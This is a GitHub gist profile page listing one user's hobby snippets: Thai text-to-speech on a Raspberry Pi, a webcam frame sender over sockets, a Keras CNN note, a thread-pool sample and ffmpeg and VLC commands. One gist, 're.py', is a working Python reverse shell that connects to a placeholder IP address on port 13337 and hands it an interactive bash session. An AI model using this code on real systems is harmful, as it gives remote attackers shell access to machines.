Skip to content

Instantly share code, notes, and snippets.

View kittinan's full-sized avatar
πŸ‡ΉπŸ‡­
|||

Kittinan kittinan

πŸ‡ΉπŸ‡­
|||
View GitHub Profile
@kittinan
kittinan / tts_play.py
Created March 23, 2018 03:33
Raspberry PI Thai TTS and speak
import subprocess
from gtts import gTTS
def play_mp3(path):
subprocess.Popen(['mpg123', '-q', path]).wait()
text = "ΰΈͺΰΈ§ΰΈ±ΰΈͺΰΈ”ΰΈ΅"
tts = gTTS(text=text, lang='th')
tts.save("hello.mp3")
play_mp3("hello.mp3")
#Edit /etc/network/interfaces
auto wlan0
iface wlan0 inet dhcp
wpa-ssid {ssid}
wpa-psk {password}
@kittinan
kittinan / cnn_with_other_data.py
Last active February 28, 2018 09:31
Keras add a variable into a convolutional neural network's dense layer
"""
Adding a variable into Keras/TensorFlow CNN dense layer
https://stackoverflow.com/questions/42556919/adding-a-variable-into-keras-tensorflow-cnn-dense-layer
___________ _________ _________ _________ ________ ______
| Conv | | Max | | Conv | | Max | | | | |
Image --> | Layer 1 | --> | Pool 1 | --> | Layer 2 | --> | Pool 2 | -->| | | |
|_________| |________| |_________| |________| | Dense | | Out |
| Layer |-->|_____|
@kittinan
kittinan / client.py
Last active March 26, 2025 08:29
Python OpenCV webcam send image frame over socket
import cv2
import io
import socket
import struct
import time
import pickle
import zlib
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('192.168.1.124', 8485))
@kittinan
kittinan / sample_thread_pool.py
Created February 20, 2018 05:21
Python 3 Thread Pool Sample
# Ref: http://masnun.com/2016/03/29/python-a-quick-introduction-to-the-concurrent-futures-module.html
import time
import random
from concurrent.futures import ThreadPoolExecutor, wait, as_completed
def add(name):
res = random.randint(1, 5)
res = 2
@kittinan
kittinan / re.py
Created November 7, 2017 15:10
python reverse shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP_ADDRESS",13337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/>
<title>Visualize LINE chat</title>
<!-- CSS -->
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css" rel="stylesheet" media="screen,projection"/>
@kittinan
kittinan / vstarcam_player.sh
Created September 15, 2017 17:33
VLC play h264 video from vstarcam
#!/bin/bash
#vlc --demux=h264 input_file.h264
vlc --demux=h264 $1
@kittinan
kittinan / gist:fa9cf2c5761745ffb3a37dd6e401ef52
Created September 2, 2017 03:07 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: πŸ˜„ :smile: πŸ˜† :laughing:
😊 :blush: πŸ˜ƒ :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
πŸ˜† :satisfied: 😁 :grin: πŸ˜‰ :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: πŸ˜€ :grinning:
πŸ˜— :kissing: πŸ˜™ :kissing_smiling_eyes: πŸ˜› :stuck_out_tongue:
@kittinan
kittinan / timelapse.md
Created July 16, 2017 05:19 — forked from porjo/timelapse.md
ffmpeg time-lapse

Convert sequence of JPEG images to MP4 video

ffmpeg -r 24 -pattern_type glob -i '*.JPG' -i DSC_%04d.JPG -s hd1080 -vcodec libx264 timelapse.mp4

  • -r 24 - output frame rate
  • -pattern_type glob -i '*.JPG' - all JPG files in the current directory
  • -i DSC_%04d.JPG - e.g. DSC_0397.JPG
  • -s hd1080 - 1920x1080 resolution

Slower, better quality